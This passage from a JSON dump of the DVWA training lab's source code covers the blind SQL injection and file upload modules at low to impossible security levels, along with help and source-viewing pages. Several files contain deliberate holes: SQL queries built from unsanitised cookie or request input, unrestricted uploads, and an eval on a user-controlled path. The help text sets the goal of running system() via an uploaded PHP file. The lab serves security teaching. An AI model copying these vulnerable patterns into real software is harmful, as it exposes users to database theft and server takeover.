class=\\\"body_padded\\\">\r\n\t<h1>Vulnerability: SQL Injection (Blind)</h1>\r\n\r\n\t{$WarningHtml}\r\n\r\n\t<div class=\\\"vulnerable_code_area\\\">\";\r\nif( $vulnerabilityFile == 'high.php' ) {\r\n\t$page[ 'body' ] .= \"Click <a href=\\\"#\\\" onclick=\\\"javascript:popUp('cookie-input.php');return false;\\\">here to change your ID</a>.\";\r\n}\r\nelse {\r\n\t$page[ 'body' ] .= \"\r\n\t\t<form action=\\\"#\\\" method=\\\"{$method}\\\">\r\n\t\t\t<p>\r\n\t\t\t\tUser ID:\";\r\n\tif( $vulnerabilityFile == 'medium.php' ) {\r\n\t\t$page[ 'body' ] .= \"\\n\t\t\t\t<select name=\\\"id\\\">\";\r\n\t\t$query  = \"SELECT COUNT(*) FROM users;\";\r\n\t\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $query ) or die( '<pre>' . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );\r\n\t\t$num    = mysqli_fetch_row( $result )[0];\r\n\t\t$i      = 0;\r\n\t\twhile( $i < $num ) { $i++; $page[ 'body' ] .= \"<option value=\\\"{$i}\\\">{$i}</option>\"; }\r\n\t\t$page[ 'body' ] .= \"</select>\";\r\n\t}\r\n\telse\r\n\t\t$page[ 'body' ] .= \"\\n\t\t\t\t<input type=\\\"text\\\" size=\\\"15\\\" name=\\\"id\\\">\";\r\n\r\n\t$page[ 'body' ] .= \"\\n\t\t\t\t<input type=\\\"submit\\\" name=\\\"Submit\\\" value=\\\"Submit\\\">\r\n\t\t\t</p>\\n\";\r\n\r\n\tif( $vulnerabilityFile == 'impossible.php' )\r\n\t\t$page[ 'body' ] .= \"\t\t\t\" . tokenField();\r\n\r\n\t$page[ 'body' ] .= \"\r\n\t\t</form>\";\r\n}\r\n$page[ 'body' ] .= \"\r\n\t\t{$html}\r\n\t</div>\r\n\r\n\t<h2>More Information</h2>\r\n\t<ul>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/SQL_injection' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/Blind_SQL_Injection' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://bobby-tables.com/' ) . \"</li>\r\n\t</ul>\r\n</div>\\n\";\r\n\r\ndvwaHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/sqli_blind/source/high.php",
    "content": "<?php\r\n\r\nif( isset( $_COOKIE[ 'id' ] ) ) {\r\n\t// Get input\r\n\t$id = $_COOKIE[ 'id' ];\r\n\t$exists = false;\r\n\r\n\tswitch ($_DVWA['SQLI_DB']) {\r\n\t\tcase MYSQL:\r\n\t\t\t// Check database\r\n\t\t\t$query  = \"SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;\";\r\n\t\t\ttry {\r\n\t\t\t\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $query ); // Removed 'or die' to suppress mysql errors\r\n\t\t\t} catch (Exception $e) {\r\n\t\t\t\t$result = false;\r\n\t\t\t}\r\n\r\n\t\t\t$exists = false;\r\n\t\t\tif ($result !== false) {\r\n\t\t\t\t// Get results\r\n\t\t\t\ttry {\r\n\t\t\t\t\t$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors\r\n\t\t\t\t} catch(Exception $e) {\r\n\t\t\t\t\t$exists = false;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t((is_null($___mysqli_res = mysqli_close($GLOBALS[\"___mysqli_ston\"]))) ? false : $___mysqli_res);\r\n\t\t\tbreak;\r\n\t\tcase SQLITE:\r\n\t\t\tglobal $sqlite_db_connection;\r\n\r\n\t\t\t$query  = \"SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;\";\r\n\t\t\ttry {\r\n\t\t\t\t$results = $sqlite_db_connection->query($query);\r\n\t\t\t\t$row = $results->fetchArray();\r\n\t\t\t\t$exists = $row !== false;\r\n\t\t\t} catch(Exception $e) {\r\n\t\t\t\t$exists = false;\r\n\t\t\t}\r\n\r\n\t\t\tbreak;\r\n\t}\r\n\r\n\tif ($exists) {\r\n\t\t// Feedback for end user\r\n\t\t$html .= '<pre>User ID exists in the database.</pre>';\r\n\t}\r\n\telse {\r\n\t\t// Might sleep a random amount\r\n\t\tif( rand( 0, 5 ) == 3 ) {\r\n\t\t\tsleep( rand( 2, 4 ) );\r\n\t\t}\r\n\r\n\t\t// User wasn't found, so the page wasn't!\r\n\t\theader( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );\r\n\r\n\t\t// Feedback for end user\r\n\t\t$html .= '<pre>User ID is MISSING from the database.</pre>';\r\n\t}\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/sqli_blind/source/impossible.php",
    "content": "<?php\r\n\r\nif( isset( $_GET[ 'Submit' ] ) ) {\r\n\t// Check Anti-CSRF token\r\n\tcheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );\r\n\t$exists = false;\r\n\r\n\t// Get input\r\n\t$id = $_GET[ 'id' ];\r\n\r\n\t// Was a number entered?\r\n\tif(is_numeric( $id )) {\r\n\t\t$id = intval ($id);\r\n\t\tswitch ($_DVWA['SQLI_DB']) {\r\n\t\t\tcase MYSQL:\r\n\t\t\t\t// Check the database\r\n\t\t\t\t$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );\r\n\t\t\t\t$data->bindParam( ':id', $id, PDO::PARAM_INT );\r\n\t\t\t\t$data->execute();\r\n\r\n\t\t\t\t$exists = $data->rowCount();\r\n\t\t\t\tbreak;\r\n\t\t\tcase SQLITE:\r\n\t\t\t\tglobal $sqlite_db_connection;\r\n\r\n\t\t\t\t$stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );\r\n\t\t\t\t$stmt->bindValue(':id',$id,SQLITE3_INTEGER);\r\n\t\t\t\t$result = $stmt->execute();\r\n\t\t\t\t$result->finalize();\r\n\t\t\t\tif ($result !== false) {\r\n\t\t\t\t\t// There is no way to get the number of rows returned\r\n\t\t\t\t\t// This checks the number of columns (not rows) just\r\n\t\t\t\t\t// as a precaution, but it won't stop someone dumping\r\n\t\t\t\t\t// multiple rows and viewing them one at a time.\r\n\r\n\t\t\t\t\t$num_columns = $result->numColumns();\r\n\t\t\t\t\tif ($num_columns == 1) {\r\n\t\t\t\t\t\t$row = $result->fetchArray();\r\n\r\n\t\t\t\t\t\t$numrows = $row[ 'numrows' ];\r\n\t\t\t\t\t\t$exists = ($numrows == 1);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\r\n\t}\r\n\r\n\t// Get results\r\n\tif ($exists) {\r\n\t\t// Feedback for end user\r\n\t\t$html .= '<pre>User ID exists in the database.</pre>';\r\n\t} else {\r\n\t\t// User wasn't found, so the page wasn't!\r\n\t\theader( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );\r\n\r\n\t\t// Feedback for end user\r\n\t\t$html .= '<pre>User ID is MISSING from the database.</pre>';\r\n\t}\r\n}\r\n\r\n// Generate Anti-CSRF token\r\ngenerateSessionToken();\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/sqli_blind/source/low.php",
    "content": "<?php\r\n\r\nif( isset( $_GET[ 'Submit' ] ) ) {\r\n\t// Get input\r\n\t$id = $_GET[ 'id' ];\r\n\t$exists = false;\r\n\r\n\tswitch ($_DVWA['SQLI_DB']) {\r\n\t\tcase MYSQL:\r\n\t\t\t// Check database\r\n\t\t\t$query  = \"SELECT first_name, last_name FROM users WHERE user_id = '$id';\";\r\n\t\t\ttry {\r\n\t\t\t\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $query ); // Removed 'or die' to suppress mysql errors\r\n\t\t\t} catch (Exception $e) {\r\n\t\t\t\tprint \"There was an error.\";\r\n\t\t\t\texit;\r\n\t\t\t}\r\n\r\n\t\t\t$exists = false;\r\n\t\t\tif ($result !== false) {\r\n\t\t\t\ttry {\r\n\t\t\t\t\t$exists = (mysqli_num_rows( $result ) > 0);\r\n\t\t\t\t} catch(Exception $e) {\r\n\t\t\t\t\t$exists = false;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t((is_null($___mysqli_res = mysqli_close($GLOBALS[\"___mysqli_ston\"]))) ? false : $___mysqli_res);\r\n\t\t\tbreak;\r\n\t\tcase SQLITE:\r\n\t\t\tglobal $sqlite_db_connection;\r\n\r\n\t\t\t$query  = \"SELECT first_name, last_name FROM users WHERE user_id = '$id';\";\r\n\t\t\ttry {\r\n\t\t\t\t$results = $sqlite_db_connection->query($query);\r\n\t\t\t\t$row = $results->fetchArray();\r\n\t\t\t\t$exists = $row !== false;\r\n\t\t\t} catch(Exception $e) {\r\n\t\t\t\t$exists = false;\r\n\t\t\t}\r\n\r\n\t\t\tbreak;\r\n\t}\r\n\r\n\tif ($exists) {\r\n\t\t// Feedback for end user\r\n\t\t$html .= '<pre>User ID exists in the database.</pre>';\r\n\t} else {\r\n\t\t// User wasn't found, so the page wasn't!\r\n\t\theader( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );\r\n\r\n\t\t// Feedback for end user\r\n\t\t$html .= '<pre>User ID is MISSING from the database.</pre>';\r\n\t}\r\n\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/sqli_blind/source/medium.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'Submit' ]  ) ) {\r\n\t// Get input\r\n\t$id = $_POST[ 'id' ];\r\n\t$exists = false;\r\n\r\n\tswitch ($_DVWA['SQLI_DB']) {\r\n\t\tcase MYSQL:\r\n\t\t\t$id = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $id ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\r\n\t\t\t// Check database\r\n\t\t\t$query  = \"SELECT first_name, last_name FROM users WHERE user_id = $id;\";\r\n\t\t\ttry {\r\n\t\t\t\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $query ); // Removed 'or die' to suppress mysql errors\r\n\t\t\t} catch (Exception $e) {\r\n\t\t\t\tprint \"There was an error.\";\r\n\t\t\t\texit;\r\n\t\t\t}\r\n\r\n\t\t\t$exists = false;\r\n\t\t\tif ($result !== false) {\r\n\t\t\t\ttry {\r\n\t\t\t\t\t$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors\r\n\t\t\t\t} catch(Exception $e) {\r\n\t\t\t\t\t$exists = false;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tbreak;\r\n\t\tcase SQLITE:\r\n\t\t\tglobal $sqlite_db_connection;\r\n\t\t\t\r\n\t\t\t$query  = \"SELECT first_name, last_name FROM users WHERE user_id = $id;\";\r\n\t\t\ttry {\r\n\t\t\t\t$results = $sqlite_db_connection->query($query);\r\n\t\t\t\t$row = $results->fetchArray();\r\n\t\t\t\t$exists = $row !== false;\r\n\t\t\t} catch(Exception $e) {\r\n\t\t\t\t$exists = false;\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t}\r\n\r\n\tif ($exists) {\r\n\t\t// Feedback for end user\r\n\t\t$html .= '<pre>User ID exists in the database.</pre>';\r\n\t} else {\r\n\t\t// Feedback for end user\r\n\t\t$html .= '<pre>User ID is MISSING from the database.</pre>';\r\n\t}\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/upload/help/help.php",
    "content": "<div class=\"body_padded\">\r\n\t<h1>Help - File Upload</h1>\r\n\r\n\t<div id=\"code\">\r\n\t<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">\r\n\t<tr>\r\n\t<td><div id=\"code\">\r\n\t\t<h3>About</h3>\r\n\t\t<p>Uploaded files represent a significant risk to web applications. The first step in many attacks is to get some code to the system to be attacked.\r\n\t\t\tThen the attacker only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step.</p>\r\n\r\n\t\t<p>The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system, forwarding attacks to backend systems,\r\n\t\t\tand simple defacement. It depends on what the application does with the uploaded file, including where it is stored.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Objective</h3>\r\n\t\t<p>Execute any PHP function of your choosing on the target system (such as <?php echo dvwaExternalLinkUrlGet( 'https://secure.php.net/manual/en/function.phpinfo.php', 'phpinfo()' ); ?>\r\n\t\t\tor <?php echo dvwaExternalLinkUrlGet( 'https://secure.php.net/manual/en/function.system.php', 'system()' ); ?>) thanks to this file upload vulnerability.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Low Level</h3>\r\n\t\t<p>Low level will not check the contents of the file being uploaded in any way. It relies only on trust.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">Upload any valid PHP file with command in it</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Medium Level</h3>\r\n\t\t<p>When using the medium level, it will check the reported file type from the client when its being uploaded.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">Worth looking for any restrictions within any \"hidden\" form fields</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>High Level</h3>\r\n\t\t<p>Once the file has been received from the client, the server will try to resize any image that was included in the request.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">need to link in another vulnerability, such as file inclusion</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Impossible Level</h3>\r\n\t\t<p>This will check everything from all the levels so far, as well then to re-encode the image. This will make a new image, therefore stripping\r\n\t\t\tany \"non-image\" code (including metadata).</p>\r\n\t</div></td>\r\n\t</tr>\r\n\t</table>\r\n\r\n\t</div>\r\n\r\n\t<br />\r\n\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload' ); ?></p>\r\n</div>\r\n\r\n"
  },
  {
    "path": "vulnerabilities/upload/index.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ]   = 'Vulnerability: File Upload' . $page[ 'title_separator' ].$page[ 'title' ];\r\n$page[ 'page_id' ] = 'upload';\r\n$page[ 'help_button' ]   = 'upload';\r\n$page[ 'source_button' ] = 'upload';\r\n\r\ndvwaDatabaseConnect();\r\n\r\n$vulnerabilityFile = '';\r\nswitch( dvwaSecurityLevelGet() ) {\r\n\tcase 'low':\r\n\t\t$vulnerabilityFile = 'low.php';\r\n\t\tbreak;\r\n\tcase 'medium':\r\n\t\t$vulnerabilityFile = 'medium.php';\r\n\t\tbreak;\r\n\tcase 'high':\r\n\t\t$vulnerabilityFile = 'high.php';\r\n\t\tbreak;\r\n\tdefault:\r\n\t\t$vulnerabilityFile = 'impossible.php';\r\n\t\tbreak;\r\n}\r\n\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/upload/source/{$vulnerabilityFile}\";\r\n\r\n// Check if folder is writeable\r\n$WarningHtml = '';\r\nif( !is_writable( $PHPUploadPath ) ) {\r\n\t$WarningHtml .= \"<div class=\\\"warning\\\">Incorrect folder permissions: {$PHPUploadPath}<br /><em>Folder is not writable.</em></div>\";\r\n}\r\n// Is PHP-GD installed?\r\nif( ( !extension_loaded( 'gd' ) || !function_exists( 'gd_info' ) ) ) {\r\n\t$WarningHtml .= \"<div class=\\\"warning\\\">The PHP module <em>GD is not installed</em>.</div>\";\r\n}\r\n\r\n$page[ 'body' ] .= \"\r\n<div class=\\\"body_padded\\\">\r\n\t<h1>Vulnerability: File Upload</h1>\r\n\r\n\t{$WarningHtml}\r\n\r\n\t<div class=\\\"vulnerable_code_area\\\">\r\n\t\t<form enctype=\\\"multipart/form-data\\\" action=\\\"#\\\" method=\\\"POST\\\">\r\n\t\t\t<input type=\\\"hidden\\\" name=\\\"MAX_FILE_SIZE\\\" value=\\\"100000\\\" />\r\n\t\t\tChoose an image to upload:<br /><br />\r\n\t\t\t<input name=\\\"uploaded\\\" type=\\\"file\\\" /><br />\r\n\t\t\t<br />\r\n\t\t\t<input type=\\\"submit\\\" name=\\\"Upload\\\" value=\\\"Upload\\\" />\\n\";\r\n\r\nif( $vulnerabilityFile == 'impossible.php' )\r\n\t$page[ 'body' ] .= \"\t\t\t\" . tokenField();\r\n\r\n$page[ 'body' ] .= \"\r\n\t\t</form>\r\n\t\t{$html}\r\n\t</div>\r\n\r\n\t<h2>More Information</h2>\r\n\t<ul>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.acunetix.com/websitesecurity/upload-forms-threat/' ) . \"</li>\r\n\t</ul>\r\n</div>\";\r\n\r\ndvwaHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/upload/source/high.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'Upload' ] ) ) {\r\n\t// Where are we going to be writing to?\r\n\t$target_path  = DVWA_WEB_PAGE_TO_ROOT . \"hackable/uploads/\";\r\n\t$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );\r\n\r\n\t// File information\r\n\t$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];\r\n\t$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);\r\n\t$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];\r\n\t$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];\r\n\r\n\t// Is it an image?\r\n\tif( ( strtolower( $uploaded_ext ) == \"jpg\" || strtolower( $uploaded_ext ) == \"jpeg\" || strtolower( $uploaded_ext ) == \"png\" ) &&\r\n\t\t( $uploaded_size < 100000 ) &&\r\n\t\tgetimagesize( $uploaded_tmp ) ) {\r\n\r\n\t\t// Can we move the file to the upload folder?\r\n\t\tif( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {\r\n\t\t\t// No\r\n\t\t\t$html .= '<pre>Your image was not uploaded.</pre>';\r\n\t\t}\r\n\t\telse {\r\n\t\t\t// Yes!\r\n\t\t\t$html .= \"<pre>{$target_path} succesfully uploaded!</pre>\";\r\n\t\t}\r\n\t}\r\n\telse {\r\n\t\t// Invalid file\r\n\t\t$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';\r\n\t}\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/upload/source/impossible.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'Upload' ] ) ) {\r\n\t// Check Anti-CSRF token\r\n\tcheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );\r\n\r\n\r\n\t// File information\r\n\t$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];\r\n\t$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);\r\n\t$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];\r\n\t$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];\r\n\t$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];\r\n\r\n\t// Where are we going to be writing to?\r\n\t$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';\r\n\t//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';\r\n\t$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;\r\n\t$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );\r\n\t$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;\r\n\r\n\t// Is it an image?\r\n\tif( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&\r\n\t\t( $uploaded_size < 100000 ) &&\r\n\t\t( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&\r\n\t\tgetimagesize( $uploaded_tmp ) ) {\r\n\r\n\t\t// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)\r\n\t\tif( $uploaded_type == 'image/jpeg' ) {\r\n\t\t\t$img = imagecreatefromjpeg( $uploaded_tmp );\r\n\t\t\timagejpeg( $img, $temp_file, 100);\r\n\t\t}\r\n\t\telse {\r\n\t\t\t$img = imagecreatefrompng( $uploaded_tmp );\r\n\t\t\timagepng( $img, $temp_file, 9);\r\n\t\t}\r\n\t\timagedestroy( $img );\r\n\r\n\t\t// Can we move the file to the web root from the temp folder?\r\n\t\tif( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {\r\n\t\t\t// Yes!\r\n\t\t\t$html .= \"<pre><a href='{$target_path}{$target_file}'>{$target_file}</a> succesfully uploaded!</pre>\";\r\n\t\t}\r\n\t\telse {\r\n\t\t\t// No\r\n\t\t\t$html .= '<pre>Your image was not uploaded.</pre>';\r\n\t\t}\r\n\r\n\t\t// Delete any temp files\r\n\t\tif( file_exists( $temp_file ) )\r\n\t\t\tunlink( $temp_file );\r\n\t}\r\n\telse {\r\n\t\t// Invalid file\r\n\t\t$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';\r\n\t}\r\n}\r\n\r\n// Generate Anti-CSRF token\r\ngenerateSessionToken();\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/upload/source/low.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'Upload' ] ) ) {\r\n\t// Where are we going to be writing to?\r\n\t$target_path  = DVWA_WEB_PAGE_TO_ROOT . \"hackable/uploads/\";\r\n\t$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );\r\n\r\n\t// Can we move the file to the upload folder?\r\n\tif( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {\r\n\t\t// No\r\n\t\t$html .= '<pre>Your image was not uploaded.</pre>';\r\n\t}\r\n\telse {\r\n\t\t// Yes!\r\n\t\t$html .= \"<pre>{$target_path} succesfully uploaded!</pre>\";\r\n\t}\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/upload/source/medium.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'Upload' ] ) ) {\r\n\t// Where are we going to be writing to?\r\n\t$target_path  = DVWA_WEB_PAGE_TO_ROOT . \"hackable/uploads/\";\r\n\t$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );\r\n\r\n\t// File information\r\n\t$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];\r\n\t$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];\r\n\t$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];\r\n\r\n\t// Is it an image?\r\n\tif( ( $uploaded_type == \"image/jpeg\" || $uploaded_type == \"image/png\" ) &&\r\n\t\t( $uploaded_size < 100000 ) ) {\r\n\r\n\t\t// Can we move the file to the upload folder?\r\n\t\tif( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {\r\n\t\t\t// No\r\n\t\t\t$html .= '<pre>Your image was not uploaded.</pre>';\r\n\t\t}\r\n\t\telse {\r\n\t\t\t// Yes!\r\n\t\t\t$html .= \"<pre>{$target_path} succesfully uploaded!</pre>\";\r\n\t\t}\r\n\t}\r\n\telse {\r\n\t\t// Invalid file\r\n\t\t$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';\r\n\t}\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/view_help.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ] = 'Help' . $page[ 'title_separator' ].$page[ 'title' ];\r\n\r\nif (array_key_exists (\"id\", $_GET) &&\r\n\tarray_key_exists (\"security\", $_GET) &&\r\n\tarray_key_exists (\"locale\", $_GET)) {\r\n\t$id       = $_GET[ 'id' ];\r\n\t$security = $_GET[ 'security' ];\r\n\t$locale = $_GET[ 'locale' ];\r\n\r\n\tob_start();\r\n\tif ($locale == 'en') {\r\n\t\teval( '?>' . file_get_contents( DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/{$id}/help/help.php\" ) . '<?php ' );\r\n\t} else {\r\n\t\teval( '?>' . file_get_contents( DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/{$id}/help/help.{$locale}.php\" ) . '<?php ' );\r\n\t}\r\n\t$help = ob_get_contents();\r\n\tob_end_clean();\r\n} else {\r\n\t$help = \"<p>Not Found</p>\";\r\n}\r\n\r\n$page[ 'body' ] .= \"\r\n<script src='/vulnerabilities/help.js'></script>\r\n<link rel='stylesheet' type='text/css' href='/vulnerabilities/help.css' />\r\n\r\n<div class=\\\"body_padded\\\">\r\n\t{$help}\r\n</div>\\n\";\r\n\r\ndvwaHelpHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/view_source.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ] .= 'Source' . $page[ 'title_separator' ].$page[ 'title' ];\r\n\r\nif (array_key_exists (\"id\", $_GET) && array_key_exists (\"security\", $_GET)) {\r\n\t$id       = $_GET[ 'id' ];\r\n\t$security = $_GET[ 'security' ];\r\n\r\n\r\n\tswitch ($id) {\r\n\t\tcase \"fi\" :\r\n\t\t\t$vuln = 'File Inclusion';\r\n\t\t\tbreak;\r\n\t\tcase \"brute\" :\r\n\t\t\t$vuln = 'Brute Force';\r\n\t\t\tbreak;\r\n\t\tcase \"csrf\" :\r\n\t\t\t$vuln = 'CSRF';\r\n\t\t\tbreak;\r\n\t\tcase \"exec\" :\r\n\t\t\t$vuln = 'Command Injection';\r\n\t\t\tbreak;\r\n\t\tcase \"sqli\" :\r\n\t\t\t$vuln = 'SQL Injection';\r\n\t\t\tbreak;\r\n\t\tcase \"sqli_blind\" :\r\n\t\t\t$vuln = 'SQL Injection (Blind)';\r\n\t\t\tbreak;\r\n\t\tcase \"upload\" :\r\n\t\t\t$vuln = 'File Upload';\r\n\t\t\tbreak;\r\n\t\tcase \"xss_r\" :\r\n\t\t\t$vuln = 'Reflected XSS';\r\n\t\t\tbreak;\r\n\t\tcase \"xss_s\" :\r\n\t\t\t$vuln = 'Stored XSS';\r\n\t\t\tbreak;\r\n\t\tcase \"weak_id\" :\r\n\t\t\t$vuln = 'Weak Session IDs';\r\n\t\t\tbreak;\r\n\t\tcase \"javascript\" :\r\n\t\t\t$vuln = 'JavaScript';\r\n\t\t\tbreak;\r\n\t\tcase \"authbypass\" :\r\n\t\t\t$vuln = 'Authorisation Bypass';\r\n\t\t\tbreak;\r\n\t\tcase \"open_redirect\" :\r\n\t\t\t$vuln = 'Open HTTP Redirect';\r\n\t\t\tbreak;\r\n\t\tcase \"bac\":\r\n\t\t\t$vuln = 'Vulnerability: Broken Access Control';\r\n\t\t\tbreak;\r\n\t\tdefault:\r\n\t\t\t$vuln = \"Unknown Vulnerability\";\r\n\t}\r\n\r\n\t$source = @file_get_contents( DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/{$id}/source/{$security}.php\" );\r\n\t$source = str_replace( array( '$html .=' ), array( 'echo' ), $source );\r\n\r\n\t$js_html = \"\";\r\n\tif (file_exists (DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/{$id}/source/{$security}.js\")) {\r\n\t\t$js_source = @file_get_contents( DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/{$id}/source/{$security}.js\" );\r\n\t\t$js_html = \"\r\n\t\t<h2>vulnerabilities/{$id}/source/{$security}.js</h2>\r\n\t\t<div id=\\\"code\\\">\r\n\t\t\t<table width='100%' bgcolor='white' style=\\\"border:2px #C0C0C0 solid\\\">\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td><div id=\\\"code\\\">\" . highlight_string( $js_source, true ) . \"</div></td>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t</div>\r\n\t\t\";\r\n\t}\r\n\r\n\t$page[ 'body' ] .= \"\r\n\t<div 